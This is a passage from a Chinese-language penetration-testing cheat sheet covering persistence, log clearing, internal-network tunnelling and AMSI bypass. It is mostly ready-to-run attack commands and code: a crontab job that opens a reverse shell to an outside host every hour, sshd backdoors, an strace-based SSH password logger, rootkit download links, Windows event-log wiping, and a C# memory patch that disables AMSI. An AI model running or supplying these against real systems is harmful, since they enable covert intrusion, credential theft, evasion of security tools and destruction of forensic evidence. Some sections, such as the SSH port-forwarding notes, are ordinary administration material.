MMDeviceEnumerato](https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator) 1756 | 1757 | 利用COM组件,不需要重启系统,不需要管理员权限 通过修改注册表实现 POC:https://github.com/3gstudent/COM-Object-hijacking 1758 | 1759 | ##### 25、[Hijack explorer.exe](https://3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe) 1760 | 1761 | COM组件劫持,不需要重启系统,不需要管理员权限 通过修改注册表实现 1762 | 1763 | ``` 1764 | HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1} 1765 | HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9} 1766 | HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} 1767 | HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E} 1768 | ``` 1769 | 1770 | ##### 26、Windows FAX DLL Injection 1771 | 1772 | 通过DLL劫持,劫持Explorer.exe对`fxsst.dll`的加载 Explorer.exe在启动时会加载`c:\Windows\System32\fxsst.dll`(服务默认开启,用于传真服务)将payload.dll保存在`c:\Windows\fxsst.dll`,能够实现dll劫持,劫持Explorer.exe对`fxsst.dll`的加载 1773 | 1774 | ##### 27、特殊注册表键值 1775 | 1776 | 在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。 1777 | 1778 | [《渗透技巧——"隐藏"注册表的创建》](https://3gstudent.github.io/渗透技巧-隐藏-注册表的创建) 1779 | 1780 | [《渗透技巧——"隐藏"注册表的更多测试》](https://3gstudent.github.io/渗透技巧-隐藏-注册表的更多测试) 1781 | 1782 | ##### 28、快捷方式后门 1783 | 1784 | 替换我的电脑快捷方式启动参数 POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1 1785 | 1786 | ##### 29、[Logon Scripts](https://3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence) 1787 | 1788 | ``` 1789 | New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null 1790 | ``` 1791 | 1792 | ##### 30、[Password Filter DLL](https://3gstudent.github.io/Password-Filter-DLL在渗透测试中的应用) 1793 | 1794 | ##### 31、[利用BHO实现IE浏览器劫持](https://3gstudent.github.io/利用BHO实现IE浏览器劫持) 1795 | 1796 | ## Linux 1797 | 1798 | ##### crontab 1799 | 1800 | 每60分钟反弹一次shell给dns.wuyun.org的53端口 1801 | 1802 | ``` 1803 | #!bash 1804 | (crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - 1805 | ``` 1806 | 1807 | ##### 硬链接sshd 1808 | 1809 | ``` 1810 | #!bash 1811 | ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333; 1812 | ``` 1813 | 1814 | 链接:ssh root@192.168.206.142 -p 2333 1815 | 1816 | ##### SSH Server wrapper 1817 | 1818 | ``` 1819 | #!bash 1820 | cd /usr/sbin 1821 | mv sshd ../bin 1822 | echo '#!/usr/bin/perl' >sshd 1823 | echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd 1824 | echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd 1825 | chmod u+x sshd 1826 | //不用重启也行 1827 | /etc/init.d/sshd restart 1828 | socat STDIO TCP4:192.168.206.142:22,sourceport=13377 1829 | ``` 1830 | 1831 | ##### SSH keylogger 1832 | 1833 | vim当前用户下的.bashrc文件,末尾添加 1834 | 1835 | ``` 1836 | #!bash 1837 | alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh' 1838 | ``` 1839 | 1840 | source .bashrc 1841 | 1842 | ##### Cymothoa_进程注入backdoor 1843 | 1844 | ``` 1845 | ./cymothoa -p 2270 -s 1 -y 7777 1846 | nc -vv ip 7777 1847 | ``` 1848 | 1849 | ##### rootkit 1850 | 1851 | - [openssh_rootkit](http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz) 1852 | - [Kbeast_rootkit](http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz) 1853 | - Mafix + Suterusu rootkit 1854 | 1855 | ##### Tools 1856 | 1857 | - [Vegile](https://github.com/Screetsec/Vegile) 1858 | - [backdoor](https://github.com/icco/backdoor) 1859 | 1860 | 1861 | 1862 | 1863 | 1864 | # 14.痕迹清理 1865 | 1866 | ### [Windows日志清除](https://3gstudent.github.io/渗透技巧-Windows日志的删除与绕过) 1867 | 1868 | 获取日志分类列表: 1869 | 1870 | ``` 1871 | wevtutil el >1.txt 1872 | ``` 1873 | 1874 | 获取单个日志类别的统计信息: eg. 1875 | 1876 | ``` 1877 | wevtutil gli "windows powershell" 1878 | ``` 1879 | 1880 | 回显: 1881 | 1882 | ``` 1883 | creationTime: 2016-11-28T06:01:37.986Z 1884 | lastAccessTime: 2016-11-28T06:01:37.986Z 1885 | lastWriteTime: 2017-08-08T08:01:20.979Z 1886 | fileSize: 1118208 1887 | attributes: 32 1888 | numberOfLogRecords: 1228 1889 | oldestRecordNumber: 1 1890 | ``` 1891 | 1892 | 查看指定日志的具体内容: 1893 | 1894 | ``` 1895 | wevtutil qe /f:text "windows powershell" 1896 | ``` 1897 | 1898 | 删除单个日志类别的所有信息: 1899 | 1900 | ``` 1901 | wevtutil cl "windows powershell" 1902 | ``` 1903 | 1904 | ### 破坏Windows日志记录功能 1905 | 1906 | 利用工具 1907 | 1908 | - [Invoke-Phant0m](https://github.com/hlldz/Invoke-Phant0m) 1909 | - [Windwos-EventLog-Bypass](https://github.com/3gstudent/Windwos-EventLog-Bypass) 1910 | 1911 | ### Metasploit 1912 | 1913 | ``` 1914 | run clearlogs 1915 | clearev 1916 | ``` 1917 | 1918 | ### 3389登陆记录清除 1919 | 1920 | ``` 1921 | @echo off 1922 | @reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f 1923 | @del "%USERPROFILE%\My Documents\Default.rdp" /a 1924 | @exit 1925 | ``` 1926 | 1927 | 1928 | 1929 | # 15.内网穿透 1930 | 1931 | **区分正向代理与反向代理** 1932 | 1933 | A----b----C 1934 | 1935 | ~~~ 1936 | A去请求C,B作为代理,代替A去访问C,并将返回的结果转发给A 那么B就是正向代理 1937 | B主动与A的8888端口连接,并将A:8888的访问转发到C:80上去,并将结果转发给A,则B是反向代理 1938 | 反向代理优势: 当AB之间有防火墙,不允许A连B,但是允许B连A 1939 | ~~~ 1940 | 1941 | 1942 | 1943 | #### 0x01 场景与思路分析 1944 | 1945 | ###### 场景一:内网防火墙对出口流量没有任何端口限制 1946 | 1947 | 思路 **:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell** 1948 | 1949 | 1950 | 1951 | ###### 场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443) 1952 | 1953 | 思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务 1954 | 1955 | **方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可** 1956 | 1957 | **方法二:端口转发** 1958 | 1959 | **方法三:SSH的动态端口转发配合proxychains来代理所有流量进一步渗透内网** 1960 | 1961 | 1.在内网主机上执行 1962 | 1963 | ```javascript 1964 | ssh -f -N -R 2222:127.0.0.1:22 -p 80 root@192.168.0.230 1965 | (输入外网主机的SSH口令) 1966 | ``` 1967 | 1968 | 2.在外网主机上执行 1969 | 1970 | ```javascript 1971 | ssh -f -N -D 127.0.0.1:8080 -p 2222 avfisher@127.0.0.1 1972 | (输入内网主机的SSH口令) 1973 | ``` 1974 | 1975 | 3.在外网主机上配置proxychains设置socks4代理 1976 | 1977 | ```javascript 1978 | $ vim /etc/proxychains.conf 1979 | [ProxyList] 1980 | socks4 127.0.0.1 8080 1981 | ``` 1982 | 1983 | 4.使用proxychains代理所有流量进入内网 1984 | 1985 | ```javascript 1986 | proxychains nc -nv 10.0.2.5 3306 1987 | ``` 1988 | 1989 | ###### 场景三:TCP不出网-HTTP代理 1990 | 1991 | **一.reGeorg** 1992 | 1993 | reGeorg原版:https://github.com/sensepost/reGeorg 1994 | reGeorg修改版:https://github.com/L-codes/Neo-reGeorg 1995 | 1996 | 假设拿到的Webshell是[http://aaa.com/shell.jsp,](http://aaa.com/shell.jsp,以原版reGeorg为例。)以原版reGeorg为例。 1997 | 1998 | 上传reGeorg中的 tunnel.jsp,假设当前URL为http://aaa.com/tunnel.jsp 1999 | 2000 | 在本地PC运行如下命令 2001 | 2002 | ~~~ 2003 | python reGeorgSocksProxy.py -p 8080 -h 0.0.0.0 -u http://aaa.com/tunnel.jsp 2004 | ~~~ 2005 | 2006 | 此时,将在本地PC的8080开启一个Socks端口,使用Proxifier即可进行代理。需要注意的是,由于这个http代理隧道比较脆弱,建议根据每个目标host单独添加规则,最好不要设置成全局代理。 2007 | 2008 | **二.pystinger** 2009 | 2010 | 蜂刺-stinger_client 2011 | 2012 | [pystinger](https://github.com/FunnyWolf/pystinger) 2013 | 2014 | 整体结构: 2015 | 2016 | 1.上传 proxy.jsp到目标Web服务器,上传stinger_server/stinger_server.exe到目标系统。 2017 | 2018 | 2.使用Webshell启动stinger_server 2019 | 2020 | ~~~ 2021 | Linux: 2022 | chmod +x /tmp/stinger_server 2023 | nohup /tmp/stinger_server>/dev/null nohup.out & 2024 | 2025 | Windows: start D:/XXX/stinger_server.exe 2026 | ~~~ 2027 | 2028 | 3.VPS服务端启动监听 2029 | 2030 | ~~~ 2031 | ./stinger_client -w http://aaa.com/proxy.jsp -l 0.0.0.0 -p 60000 2032 | ~~~ 2033 | 2034 | 2035 | 以上操作成功后,VPS会监听60000端口,接下来直接配置好Proxifier就可以访问目标内网了。 2036 | 2037 | 特别注意:这个代理也不是很稳定,有时候会断开(Wrong data)。遇到断开情况后,手动kill stinger_server进程 再启动,最后重启VPS服务端stinger_client即可 2038 | 2039 | 2040 | 2041 | ###### 场景四 TCP出网-socks代理 2042 | 2043 | **[frp](https://github.com/fatedier/frp)** 2044 | 2045 | 搭建步骤: 2046 | 1.VPS运行服务端 2047 | 2048 | ~~~ 2049 | ./frps -c frps.ini 2050 | ~~~ 2051 | 2052 | 注:建议用Screen将frp挂起到后台,Screen挂起程序参考[用screen 在后台运行程序 - 简书](https://www.jianshu.com/p/b24f597c0561) 2053 | 2054 | frps.ini内容: 2055 | 2056 | ~~~ 2057 | [common] 2058 | bind_port = 8080 2059 | tls_only = true 2060 | tcp_mux = true 2061 | privilege_token = token123 2062 | kcp_bind_port = 8080 2063 | ~~~ 2064 | 2065 | 2.使用VPS将frpc frpc.ini上传到主机tmp目录,然后运行 2066 | 2067 | ~~~ 2068 | Linux: 2069 | chmod +x /tmp/frpc-x86 2070 | nohup /tmp/frpc-x86 -c /tmpfrpc.ini>/dev/null nohup.out & 2071 | 2072 | Windows 2073 | frpc -c frpc.ini 2074 | ~~~ 2075 | 2076 | 注:有时候用Webshell管理工具会上传失败或上传文件不完整,可以cd到frp目录,在vps使用 `python -m SimpleHTTPServer 80` 启动一个webserver,然后在客户端使用 `curl http://vpsip/frpc`下载文件。 2077 | 2078 | 2079 | 以上操作成功后,VPS控制台会有输出,然后VPS会启动一个10001端口,接下来直接配置好Proxifier就可以访问目标内网了。 2080 | 2081 | Proxifier使用参考:[Proxifier Socks5 代理(内网访问、远程办公)](https://blog.csdn.net/u013600314/article/details/106276126/) 2082 | 2083 | ps:frp会涉及到免杀的问题,这里推荐另一个代理工具,体积更小,可以看作是rust版本的frp 2084 | 2085 | [fuso](https://github.com/editso/fuso) 2086 | 2087 | 2088 | 2089 | 2090 | 2091 | #### 0x02 Lcx 2092 | 2093 | 内网IP:192.168.183.168 2094 | 公网IP:192.168.183.181 2095 | 2096 | ##### 端口转发 2097 | 2098 | 内网机器上执行命令:`lcx.exe –slave 公网IP 端口 内网IP 端口` 2099 | 将内网的3389端口转发到公网的6666端口 2100 | 2101 | ```javascript 2102 | lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389 2103 | lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389 2104 | ``` 2105 | 2106 | 2107 | 2108 | 公网机器上执行命令:`lcx.exe -listen 监听端口 连接端口` 2109 | 将在6666端口接收到的数据转发到2222端口 2110 | 2111 | ```javascript 2112 | lcx.exe -listen 6666 2222 2113 | ``` 2114 | 2115 | 使用命令`mstsc /v:127.0.0.1:2222`即可连接到内网3389端口 2116 | 2117 | ##### 端口映射 2118 | 2119 | 如果内网机器防火墙禁止3389出站,可以使用tran命令将3389端口映射到其他端口上 2120 | 内网机器上执行命令:`lcx.exe -tran 映射端口 连接IP 连接端口` 2121 | 2122 | ```javascript 2123 | lcx.exe -tran 66 192.168.183.168 3389 2124 | ``` 2125 | 2126 | 因为实验环境是内网所以直接连接66端口即可访问3389端口,公网还需要端口转发 2127 | 2128 | #### 0x03 SSH隧道 2129 | 2130 | ```javascript 2131 | ssh参数详解: 2132 | -C Enable compression 压缩数据传输 2133 | -q Quiet mode. 安静模式 2134 | -T Disable pseudo-tty allocation. 不占用 shell 2135 | -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数 2136 | -N Do not execute a remote command. 不执行远程命令,端口转发就用它 2137 | -L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 2138 | -R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 2139 | -D port 指定一个本地机器动态的应用程序端口转发. 2140 | -g port 允许远程主机连接到建立的转发的端口,如果不加这个参数,只允许本地主机建立连接 2141 | ``` 2142 | 2143 | ##### SSH本地转发 2144 | 2145 | 语法格式: 2146 | 2147 | ```javascript 2148 | ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host 2149 | ``` 2150 | 2151 | 远程管理服务器上的mysql,mysql不能直接root远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到1234端口。 2152 | 2153 | ```javascript 2154 | ssh -CfNg -L 2222:127.0.0.1:3306 root@139.196.xx.xx 2155 | ``` 2156 | 2157 | 工作原理:在本地指定一个由ssh监听的转发端口2222,将远程主机的3306端口(127.0.0.1:3306)映射到本地的2222端口,当有主机连接本地映射的2222端口时,本地ssh就将此端口的数据包转发给中间主机VPS,然后VPS再与远程主机端口(127.0.0.1:3306)通信。 2158 | 数据流向:Kali -> 2222 -> VPS -> 127.0.0.1:3306 2159 | 2160 | ##### SSH远程转发 2161 | 2162 | 语法格式: 2163 | 2164 | ```javascript 2165 | ssh -R [bind_addr:]remote1_port:host:port remote1 2166 | ``` 2167 | 2168 | 假设kali开了一个80端口的web服务,外网无法访问,使用远程转发,将kali的80端口转发到外网的其他端口,这时候访问外网的端口,就访问到了内网的端口。 2169 | 2170 | ```javascript 2171 | ssh -CfNg -R 4444:127.0.0.1:80 root@192.168.183.195 2172 | ``` 2173 | 2174 | 此时在192.168.183.195这台主机上访问127.0.0.1:4444端口即可访问到kali的80端口 2175 | 工作原理:kali在请求外网主机的sshd服务,在外网主机上建立一个套接字监听端口(4444),它是kali的80端口的映射,当有主机连接外网的4444端口时,连接的数据全部转发给kali,再由kali去访问127.0.0.1:80。 2176 | 2177 | 2178 | 2179 | 这里要注意一点,远程端口转发是由远程主机上的sshd服务控制的,默认配置情况下,sshd服务只允许本地开启的远程转发端口(4444)绑定在环回地址(127.0.0.1)上,即使显式指定了bind_addr也无法覆盖。也就是这里访问127.0.0.1:4444端口可以访问成功,访问192.168.183.195:4444却不能访问成功。 2180 | 2181 | 要允许本地的远程转发端口绑定在非环回地址上,需要在外网主机的sshd配置文件中启用"GatewayPorts"项,它的默认值为no,这里将它改为yes。然后重新远程转发一下即可用外网地址访问。 2182 | 2183 | ##### SSH动态转发,正向代理做动态的端口转发 2184 | 2185 | 本地或远程转发端口和目标端口所代表的应用层协议是一对一的关系,不同的服务就要建立不同的端口,工作很是繁琐,而动态转发只需绑定一个本地端口,而目标端口是根据你发起的请求决定的,比如请求为445端口,通过ssh转发的请求也是445端口。 2186 | 2187 | 语法格式: 2188 | 2189 | ```javascript 2190 | ssh -D [bind_addr:]port remote 2191 | ``` 2192 | 2193 | 这里举一个最简单的列子:翻墙。国内正常情况下上不了Google,我们可以通过将流量转发到国外的vps上这样就可以正常访问了。 2194 | 在本地执行以下命令,并查看建立连接情况 2195 | 2196 | ```javascript 2197 | ssh -Nfg -D 3333 root@45.77.xx.xx 2198 | ``` 2199 | 2200 | 连接建立成功,设置浏览器到本地主机的3333端口 2201 | 2202 | ##### SSH动态转发,正向代理进行单一的端口转发 2203 | 利用ssh -L 提供正向代理,将192.168.183.2的80端口映射到45.77.xx.xx的1111端口上 2204 | 2205 | 访问45.77.xx.xx:1111相当于访问192.168.183.2:80 中间需要192.168.183.1的ssh进行正向代理进行利用。 2206 | 2207 | 语法格式: 2208 | 2209 | ~~~ 2210 | ssh -L 45.77.xx.xx:1111:192.168.183.2:80 root@192.168.183.1 2211 | ~~~ 2212 | 2213 | 此时我们访问45.77.xx.xx的1111端口就相当于访问内网不出网机器的192.168.183.2:80 2214 | 2215 | 2216 | 2217 | 2218 | 2219 | # 16.Bypass AMSI 2220 | 2221 | [How to Bypass AMSI ](https://0range-x.github.io/2022/01/23/AMSI/) 2222 | 2223 | 管理员权限关闭amsi 2224 | 2225 | ~~~powershell 2226 | Set-MpPreference -DisableRealtimeMonitoring $true 2227 | ~~~ 2228 | 2229 | ### 一键关闭AMSI 2230 | 2231 | ~~~powershell 2232 | [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPubilc,Static').SetValue($null,$true) 2233 | ~~~ 2234 | 2235 | 被加黑了,可以混淆过 2236 | 2237 | ### powershell降级 2238 | 2239 | ~~~ 2240 | powershell.exe -version 2 //改变powershell运行版本 2241 | ~~~ 2242 | 2243 | 2244 | 2245 | ### 内存补丁 2246 | 2247 | ~~~c# 2248 | $p=@" 2249 | using System; 2250 | using System.Linq; 2251 | using System.Runtime.InteropServices; 2252 | public class Program 2253 | { 2254 | [DllImport("kernel32")] 2255 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 2256 | [DllImport("kernel32")] 2257 | public static extern IntPtr LoadLibrary(string name); 2258 | [DllImport("kernel32")] 2259 | public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, 2260 | uint flNewProtect, out uint lpfloldProtect); 2261 | public static void Bypass() 2262 | { 2263 | String a = 2264 | "isma"; 2265 | IntPtr lib = LoadLibrary(String.Join("" 2266 | , a.Reverse().ToArray()) + 2267 | " 2268 | .dll"); 2269 | IntPtr addr = GetProcAddress(lib, 2270 | "AmsiOpenSession"); 2271 | uint old = 0; 2272 | byte[] p; 2273 | p = new byte[6]; 2274 | p[0] = 0xB8; 2275 | p[1] = 0xFF; 2276 | p[2] = 0xFF; 2277 | p[3] = 0xFF; 2278 | p[4] = 0xFF; 2279 | p[5] = 0xC3; 2280 | VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old); 2281 | Marshal.Copy(p, 0, addr, p.Length); 2282 | VirtualProtect(addr, (UIntPtr)p.Length, old, out old); 2283 | } 2284 | } 2285 | "@ 2286 | Add-Type $p 2287 | [Program]::Bypass() 2288 | ~~~ 2289 | 2290 | 2291 | 2292 | 2293 | 2294 | 参考链接: 2295 | 2296 | ~~~ 2297 | https://github.com/NyDubh3/Pentesting-Active-Directory-CN 2298 | https://github.com/shmilylty/Intranet_Penetration_Tips 2299 | ~~~ 2300 | 2301 | 2302 | 2303 | 2304 | 2305 | 2306 | 2307 | 2308 | 2309 | 2310 | 2311 | 2312 | 2313 | 2314 | 2315 | 2316 | 2317 | 2318 | 2319 | 2320 | 2321 | 2322 | 2323 | 2324 | 2325 | 2326 | 2327 | 2328 | 2329 | 2330 | 2331 | 2332 | 2333 | 2334 | 2335 | 2336 | 2337 | 2338 | 2339 | 2340 | 2341 | 2342 | 2343 | 2344 | 2345 | 2346 | 2347 | 2348 | 2349 | 2350 | 2351 | 2352 | 2353 | 2354 | 2355 | 2356 | 2357 | 2358 | 2359 | 2360 | 2361 | 2362 | 2363 | 2364 | 2365 | 2366 | 2367 | 2368 | 2369 | 2370 | 2371 | 2372 | 2373 | 2374 | 2375 | 2376 | 2377 | 2378 | 2379 | 2380 | 2381 | 2382 | 2383 | 2384 | 2385 | 2386 | 2387 | 2388 | 2389 | 2390 | 2391 | 2392 | 2393 | 2394 | 2395 | 2396 | 2397 | 2398 | 2399 | 2400 | 2401 | 2402 | 2403 | 2404 | 2405 | 2406 | 2407 | 2408 | 2409 | --------------------------------------------------------------------------------